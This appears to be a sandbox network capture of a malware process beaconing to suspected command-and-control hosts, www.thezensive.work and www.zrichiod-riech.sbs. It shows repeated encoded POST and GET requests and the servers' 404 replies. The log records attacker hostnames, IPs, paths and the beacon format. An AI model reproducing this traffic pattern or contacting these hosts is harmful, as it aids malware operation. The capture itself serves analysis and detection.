Dec 12, 2024 00:21:07.809226036 CET	761	OUT	POST /laeb/ HTTP/1.1 Host: www.thezensive.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.thezensive.work Referer: http://www.thezensive.work/laeb/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 63 33 34 45 66 2b 44 47 6a 32 34 71 74 58 42 39 4a 74 2f 43 46 31 4f 47 68 56 53 2f 70 58 55 79 58 53 34 35 4f 36 54 6d 2b 6a 4c 71 44 4f 49 7a 7a 4e 72 71 36 6a 54 45 70 75 65 57 74 71 57 48 48 64 6a 72 35 49 6a 30 5a 6e 55 53 41 57 36 4d 41 78 31 71 53 70 68 56 6c 78 2b 34 54 56 30 6d 73 49 72 70 78 52 30 32 39 39 66 37 49 35 74 72 6e 6c 61 30 42 6b 31 4d 4c 65 69 42 32 56 43 4f 4d 38 5a 58 6f 61 4e 77 79 75 32 4c 6e 6c 79 58 2b 43 45 64 34 58 6b 6c 4c 46 62 56 71 5a 70 51 5a 66 6d 59 78 4e 58 72 73 4c 57 43 77 70 70 33 7a 42 78 4e 6a 6e 6f 51 74 6a 69 71 42 4a 67 48 73 35 46 4a 77 52 45 3d Data Ascii: LDVlCz=c34Ef+DGj24qtXB9Jt/CF1OGhVS/pXUyXS45O6Tm+jLqDOIzzNrq6jTEpueWtqWHHdjr5Ij0ZnUSAW6MAx1qSphVlx+4TV0msIrpxR0299f7I5trnla0Bk1MLeiB2VCOM8ZXoaNwyu2LnlyX+CEd4XklLFbVqZpQZfmYxNXrsLWCwpp3zBxNjnoQtjiqBJgHs5FJwRE=
Dec 12, 2024 00:21:09.175654888 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Wed, 11 Dec 2024 23:21:08 GMT Server: Netlify X-Nf-Request-Id: 01JEW0DEFTND7EWSCMSEGFAJ6J Connection: close Transfer-Encoding: chunked Data Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 [TRUNCATED] Data Ascii: c28<!doctype html><html lang=en><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><title>Site not found</title><style>:root{--colorRgbFacetsTeal600:2 128 125;--colorTealAction:var(--colorRgbFacetsTeal600);--colorRgbFacetsNeutralLight100:246 246 247;--colorRgbFacetsNeutralLight200:233 235 237;--colorHr:var(--colorRgbFacetsNeutralLight200);--colorRgbFacetsNeutralLight700:53 58 62;--colorGrayDarkest:var(--colorRgbFacetsNeutralLight700);--colorGrayLighter:var(--colorRgbFacetsNeutralLight200);--colorGrayLightest:var(--colorRgbFacetsNeutralLight100);--colorText:var(--colorGrayDarkest);--effectShadowLightShallow:0 1px 10px 0 rgb(53 58 62 / 6%), 0 2px 4px 0 rgb(53 58 62 / 8%);--colorRgbFacetsNeutralDark900:6 11 16;--colorStackText:rgb(var(--colorGrayDarkest));--colorCodeText:rgb(var(--colorGrayLightest));--colorRgbFacetsNeutralLight600:84 90 97;--colorGrayDarker:var(--colorRgbFacetsNeutralLight600);--colorTextMuted:var(--colorGrayDarker)}body{font-family:syst [TRUNCATED]
Dec 12, 2024 00:21:09.175688028 CET	1236	IN	Data Raw: 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 Data Ascii: cSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#fff;overflow:hidden;margin:0;padding:0;line-height:1.5;color:rgb(var(--colorText))}@media(prefers-color-scheme:dark){body{backg
Dec 12, 2024 00:21:09.175707102 CET	907	IN	Data Raw: 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 29 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 Data Ascii: k;background-color:var(--colorCodeText);color:var(--colorStackText);padding:4px 8px;border-radius:4px;font-size:.875rem;overflow-wrap:anywhere;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50014	3.125.36.175	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:10.474838972 CET	781	OUT	POST /laeb/ HTTP/1.1 Host: www.thezensive.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.thezensive.work Referer: http://www.thezensive.work/laeb/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 63 33 34 45 66 2b 44 47 6a 32 34 71 72 30 5a 39 4c 4f 58 43 43 56 4f 46 74 31 53 2f 6d 33 55 32 58 53 30 35 4f 2f 72 32 2b 32 62 71 41 73 51 7a 39 73 72 71 33 44 54 45 69 4f 65 50 67 4b 58 46 48 63 66 4a 35 4e 4c 30 5a 6e 77 53 41 56 75 4d 63 57 42 74 54 35 68 74 37 52 2b 36 4d 46 30 6d 73 49 72 70 78 52 51 59 39 39 48 37 49 70 39 72 6d 45 61 33 64 30 31 4e 63 75 69 42 79 56 43 4b 4d 38 5a 31 6f 59 31 4f 79 73 2b 4c 6e 67 57 58 2b 32 51 65 78 58 6b 6e 46 6c 61 47 75 37 63 6e 5a 66 76 56 74 4d 53 56 38 39 61 6b 38 2f 59 64 70 6a 35 6c 77 48 45 6f 39 77 71 64 51 35 42 75 32 61 56 35 75 47 52 44 71 2b 4d 55 62 6c 48 34 78 4f 4b 62 35 58 37 66 66 65 68 4e Data Ascii: LDVlCz=c34Ef+DGj24qr0Z9LOXCCVOFt1S/m3U2XS05O/r2+2bqAsQz9srq3DTEiOePgKXFHcfJ5NL0ZnwSAVuMcWBtT5ht7R+6MF0msIrpxRQY99H7Ip9rmEa3d01NcuiByVCKM8Z1oY1Oys+LngWX+2QexXknFlaGu7cnZfvVtMSV89ak8/Ydpj5lwHEo9wqdQ5Bu2aV5uGRDq+MUblH4xOKb5X7ffehN
Dec 12, 2024 00:21:11.851180077 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Wed, 11 Dec 2024 23:21:11 GMT Server: Netlify X-Nf-Request-Id: 01JEW0DH2ZEN27KMS03R7EWMTH Connection: close Transfer-Encoding: chunked Data Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 [TRUNCATED] Data Ascii: c28<!doctype html><html lang=en><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><title>Site not found</title><style>:root{--colorRgbFacetsTeal600:2 128 125;--colorTealAction:var(--colorRgbFacetsTeal600);--colorRgbFacetsNeutralLight100:246 246 247;--colorRgbFacetsNeutralLight200:233 235 237;--colorHr:var(--colorRgbFacetsNeutralLight200);--colorRgbFacetsNeutralLight700:53 58 62;--colorGrayDarkest:var(--colorRgbFacetsNeutralLight700);--colorGrayLighter:var(--colorRgbFacetsNeutralLight200);--colorGrayLightest:var(--colorRgbFacetsNeutralLight100);--colorText:var(--colorGrayDarkest);--effectShadowLightShallow:0 1px 10px 0 rgb(53 58 62 / 6%), 0 2px 4px 0 rgb(53 58 62 / 8%);--colorRgbFacetsNeutralDark900:6 11 16;--colorStackText:rgb(var(--colorGrayDarkest));--colorCodeText:rgb(var(--colorGrayLightest));--colorRgbFacetsNeutralLight600:84 90 97;--colorGrayDarker:var(--colorRgbFacetsNeutralLight600);--colorTextMuted:var(--colorGrayDarker)}body{font-family:syst [TRUNCATED]
Dec 12, 2024 00:21:11.851201057 CET	1236	IN	Data Raw: 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 Data Ascii: cSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#fff;overflow:hidden;margin:0;padding:0;line-height:1.5;color:rgb(var(--colorText))}@media(prefers-color-scheme:dark){body{backg
Dec 12, 2024 00:21:11.851213932 CET	907	IN	Data Raw: 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 29 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 Data Ascii: k;background-color:var(--colorCodeText);color:var(--colorStackText);padding:4px 8px;border-radius:4px;font-size:.875rem;overflow-wrap:anywhere;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50015	3.125.36.175	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:13.138943911 CET	1798	OUT	POST /laeb/ HTTP/1.1 Host: www.thezensive.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.thezensive.work Referer: http://www.thezensive.work/laeb/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 63 33 34 45 66 2b 44 47 6a 32 34 71 72 30 5a 39 4c 4f 58 43 43 56 4f 46 74 31 53 2f 6d 33 55 32 58 53 30 35 4f 2f 72 32 2b 31 37 71 41 66 59 7a 39 50 7a 71 32 44 54 45 76 75 65 53 67 4b 58 45 48 63 48 4e 35 4e 47 4c 5a 6c 34 53 41 31 79 4d 4d 6a 74 74 61 35 68 74 68 78 2b 37 54 56 30 4a 73 49 62 74 78 52 67 59 39 39 48 37 49 72 31 72 68 56 61 33 4f 45 31 4d 4c 65 69 64 32 56 44 74 4d 38 51 4b 6f 65 6f 31 31 64 65 4c 6d 41 47 58 38 6c 34 65 73 6e 6b 68 47 6c 62 42 75 37 41 34 5a 66 69 6d 74 4d 32 76 38 36 65 6b 38 35 52 58 32 54 74 4b 75 68 41 79 7a 67 36 37 41 5a 64 33 70 35 39 42 69 58 64 57 76 39 4d 6d 5a 42 44 2f 77 2f 2f 41 6e 6d 76 77 61 36 45 6b 49 68 7a 66 62 52 32 65 35 34 30 36 46 71 51 6b 78 52 4f 47 49 52 45 6e 68 63 41 35 69 4c 6b 71 50 6f 43 66 35 59 30 6f 70 77 6f 4c 6e 75 7a 68 70 4f 4a 39 57 64 32 51 64 33 58 47 73 43 76 39 7a 62 7a 77 54 44 78 34 6c 6a 2b 7a 69 74 37 63 6a 4e 62 52 76 44 2b 33 36 4b 47 34 52 2b 67 64 2f 58 54 43 59 6b 4e 6c 74 32 76 69 32 78 51 [TRUNCATED] Data Ascii: LDVlCz=c34Ef+DGj24qr0Z9LOXCCVOFt1S/m3U2XS05O/r2+17qAfYz9Pzq2DTEvueSgKXEHcHN5NGLZl4SA1yMMjtta5hthx+7TV0JsIbtxRgY99H7Ir1rhVa3OE1MLeid2VDtM8QKoeo11deLmAGX8l4esnkhGlbBu7A4ZfimtM2v86ek85RX2TtKuhAyzg67AZd3p59BiXdWv9MmZBD/w//Anmvwa6EkIhzfbR2e5406FqQkxROGIREnhcA5iLkqPoCf5Y0opwoLnuzhpOJ9Wd2Qd3XGsCv9zbzwTDx4lj+zit7cjNbRvD+36KG4R+gd/XTCYkNlt2vi2xQauz3H0PUaeRvNXXhHZxDOxNrPqHSxNq/+QNKWLct4YQ5K+rdLwlXB9+spDZyi2o5stpiU6Wj6vJYqGUdcId4vC+jRGWxzhWcl8BGobGzjnNnEAbrFFC1/TKyEIWIhSDCDOYDV2KWtRZegh4YaxK9Z1tkkR6/uW+fENaDdG5hpeZ5N5XoYqgRHgLO7aB9u2MNMX5TnDi59nY1tnGVE7++sVdRgG/caUBur1G1KfhNLInXq0qzNoP++1MWCeBVHVaeaFQbkrK/KETY1fvojWHV9kkCU+MeIoqvSiVu8hW/dZm2rfgEF1JiJKsPMnxALLNIA1f5xhr1VRubWi73/5yRvlgeenf0KyGNal6aiy1QxQ2h7PDjI1Z/Yh+qWfMGDDJK8dxlh4J5Gn7SHYwz00VM/zvXpwOxThM6ARjm9PZ5Iv6dyTmwrRFB0Snh2v7bRHuJt0VC/rRcL+LdTVGUe23olVbW0XEyii6vAQGB/QsJ3ATuDEioN+/NvPtE3dlmf4xCjWcmGgMQf51+wdVA1mDk3SchF3suvCD+7GCLBFr9/Gw2/YTe3oynrXjW/ae64Kg7quZCCGNHxrlATqJRGa0qkXVOpSxVZFFkwJASdiAj/gYdaw0SoaKjMGKSmdLj0Ll8T9ud9itXE2RaCrgObC2tsWhkNym1J8O4dB [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50016	3.125.36.175	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:15.791404009 CET	506	OUT	GET /laeb/?LDVlCz=R1QkcJ3G5DA9kU07Q4bHZGXwpE7poG4obEoFTYXYr0KTY8cjuufgj2Wfg7CEtb/if9/3otTPHXcvO0KabB4WT9d0qR/eTQNYs+qdxysYlPDjIZ08l2KjBlYrb7eSynDgaw==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.thezensive.work Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:21:17.158143044 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Date: Wed, 11 Dec 2024 23:21:16 GMT Server: Netlify X-Nf-Request-Id: 01JEW0DP9F8NNKJJTX4FMN3PDE Connection: close Transfer-Encoding: chunked Data Raw: 63 32 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 3a 32 20 31 32 38 20 31 32 35 3b 2d 2d 63 6f 6c 6f 72 54 65 61 6c 41 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 54 65 61 6c 36 30 30 29 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 31 30 30 3a 32 34 36 20 32 34 36 20 32 34 37 3b 2d 2d 63 6f 6c 6f 72 52 67 62 46 61 63 65 74 73 4e 65 75 74 72 61 6c 4c 69 67 68 74 32 30 30 3a 32 33 33 20 32 33 35 20 32 33 37 3b 2d 2d 63 6f 6c 6f 72 48 [TRUNCATED] Data Ascii: c28<!doctype html><html lang=en><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><title>Site not found</title><style>:root{--colorRgbFacetsTeal600:2 128 125;--colorTealAction:var(--colorRgbFacetsTeal600);--colorRgbFacetsNeutralLight100:246 246 247;--colorRgbFacetsNeutralLight200:233 235 237;--colorHr:var(--colorRgbFacetsNeutralLight200);--colorRgbFacetsNeutralLight700:53 58 62;--colorGrayDarkest:var(--colorRgbFacetsNeutralLight700);--colorGrayLighter:var(--colorRgbFacetsNeutralLight200);--colorGrayLightest:var(--colorRgbFacetsNeutralLight100);--colorText:var(--colorGrayDarkest);--effectShadowLightShallow:0 1px 10px 0 rgb(53 58 62 / 6%), 0 2px 4px 0 rgb(53 58 62 / 8%);--colorRgbFacetsNeutralDark900:6 11 16;--colorStackText:rgb(var(--colorGrayDarkest));--colorCodeText:rgb(var(--colorGrayLightest));--colorRgbFacetsNeutralLight600:84 90 97;--colorGrayDarker:var(--colorRgbFacetsNeutralLight600);--colorTextMuted:var(--colorGrayDarker)}body{font-family:syst [TRUNCATED]
Dec 12, 2024 00:21:17.158221006 CET	1236	IN	Data Raw: 63 53 79 73 74 65 6d 46 6f 6e 74 2c 73 65 67 6f 65 20 75 69 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2c 61 70 70 6c 65 20 63 6f 6c 6f 72 20 65 6d 6f 6a 69 2c 73 65 67 6f 65 20 75 69 20 Data Ascii: cSystemFont,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji,segoe ui symbol;background:#fff;overflow:hidden;margin:0;padding:0;line-height:1.5;color:rgb(var(--colorText))}@media(prefers-color-scheme:dark){body{backg
Dec 12, 2024 00:21:17.158231020 CET	907	IN	Data Raw: 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 43 6f 64 65 54 65 78 74 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 53 74 61 63 6b 54 65 78 74 29 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 Data Ascii: k;background-color:var(--colorCodeText);color:var(--colorStackText);padding:4px 8px;border-radius:4px;font-size:.875rem;overflow-wrap:anywhere;font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50017	172.67.176.240	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:22.641112089 CET	770	OUT	POST /26nq/ HTTP/1.1 Host: www.zrichiod-riech.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zrichiod-riech.sbs Referer: http://www.zrichiod-riech.sbs/26nq/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 35 31 35 55 38 36 59 2f 69 6e 74 74 38 71 31 72 54 58 57 31 4f 6b 63 73 5a 45 57 38 74 70 30 67 77 66 79 34 47 4f 49 44 4f 39 42 56 50 44 48 4a 4b 4f 53 44 52 4f 4e 77 74 41 53 64 65 59 75 61 56 69 44 61 30 2b 78 42 6b 42 70 53 4c 67 65 66 4f 71 51 4b 4a 6f 55 6c 42 49 61 74 4f 37 78 38 77 79 39 71 65 69 32 47 4e 71 52 68 39 5a 5a 66 64 64 47 4d 4d 4c 43 52 69 6c 50 39 67 4d 2f 4b 79 7a 32 72 45 78 35 33 6a 36 6d 4a 62 6f 6c 64 6d 57 61 64 66 30 31 53 6b 55 45 53 75 4f 7a 57 45 42 76 4d 64 47 33 66 4b 65 48 77 4e 6c 78 70 36 6a 53 51 4e 41 38 57 38 39 72 4e 68 66 67 38 2b 6f 45 77 41 67 63 3d Data Ascii: LDVlCz=515U86Y/intt8q1rTXW1OkcsZEW8tp0gwfy4GOIDO9BVPDHJKOSDRONwtASdeYuaViDa0+xBkBpSLgefOqQKJoUlBIatO7x8wy9qei2GNqRh9ZZfddGMMLCRilP9gM/Kyz2rEx53j6mJboldmWadf01SkUESuOzWEBvMdG3fKeHwNlxp6jSQNA8W89rNhfg8+oEwAgc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50018	172.67.176.240	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:25.298693895 CET	790	OUT	POST /26nq/ HTTP/1.1 Host: www.zrichiod-riech.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zrichiod-riech.sbs Referer: http://www.zrichiod-riech.sbs/26nq/ Content-Length: 227 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 35 31 35 55 38 36 59 2f 69 6e 74 74 36 4f 78 72 52 30 4f 31 43 55 63 76 54 6b 57 38 6e 4a 30 38 77 66 75 34 47 4d 6c 65 4f 4c 35 56 49 69 33 4a 4a 4b 47 44 57 4f 4e 77 6d 67 53 59 42 49 75 56 56 69 2b 77 30 38 56 42 6b 42 39 53 4c 67 75 66 4f 35 49 4e 47 59 55 64 55 59 61 56 54 4c 78 38 77 79 39 71 65 69 6a 68 4e 75 39 68 39 6f 70 66 53 66 69 44 46 72 43 53 6c 6c 50 39 32 4d 2f 4f 79 7a 32 4e 45 77 56 52 6a 34 65 4a 62 74 42 64 6c 48 61 61 47 45 31 55 37 6b 46 6d 6f 72 53 79 45 79 7a 47 61 6b 43 39 66 59 54 4f 4d 54 41 44 67 42 61 34 65 67 51 75 73 75 6a 36 77 76 42 56 6b 4c 55 41 65 33 4c 56 77 35 6a 33 59 4f 57 73 4a 69 6c 4f 38 75 49 78 67 78 59 6c Data Ascii: LDVlCz=515U86Y/intt6OxrR0O1CUcvTkW8nJ08wfu4GMleOL5VIi3JJKGDWONwmgSYBIuVVi+w08VBkB9SLgufO5INGYUdUYaVTLx8wy9qeijhNu9h9opfSfiDFrCSllP92M/Oyz2NEwVRj4eJbtBdlHaaGE1U7kFmorSyEyzGakC9fYTOMTADgBa4egQusuj6wvBVkLUAe3LVw5j3YOWsJilO8uIxgxYl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50019	172.67.176.240	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:21:27.953502893 CET	1807	OUT	POST /26nq/ HTTP/1.1 Host: www.zrichiod-riech.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.zrichiod-riech.sbs Referer: http://www.zrichiod-riech.sbs/26nq/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 35 31 35 55 38 36 59 2f 69 6e 74 74 36 4f 78 72 52 30 4f 31 43 55 63 76 54 6b 57 38 6e 4a 30 38 77 66 75 34 47 4d 6c 65 4f 4c 78 56 49 51 2f 4a 50 64 36 44 58 4f 4e 77 36 51 53 5a 42 49 75 49 56 6d 71 72 30 38 70 72 6b 43 46 53 4b 44 6d 66 65 63 38 4e 52 49 55 64 4d 6f 61 75 4f 37 77 2b 77 7a 52 75 65 69 7a 68 4e 75 39 68 39 71 68 66 62 74 47 44 4a 4c 43 52 69 6c 50 78 67 4d 2f 32 79 7a 76 34 45 77 52 6e 6a 4a 2b 4a 62 4e 52 64 6e 30 79 61 50 45 31 57 34 6b 46 2b 6f 72 57 74 45 79 76 73 61 67 43 58 66 66 6e 4f 41 6c 45 56 30 43 61 4a 63 67 49 39 75 63 4b 57 6c 2f 4a 65 6b 4c 6f 78 63 67 76 6f 2f 36 4c 35 65 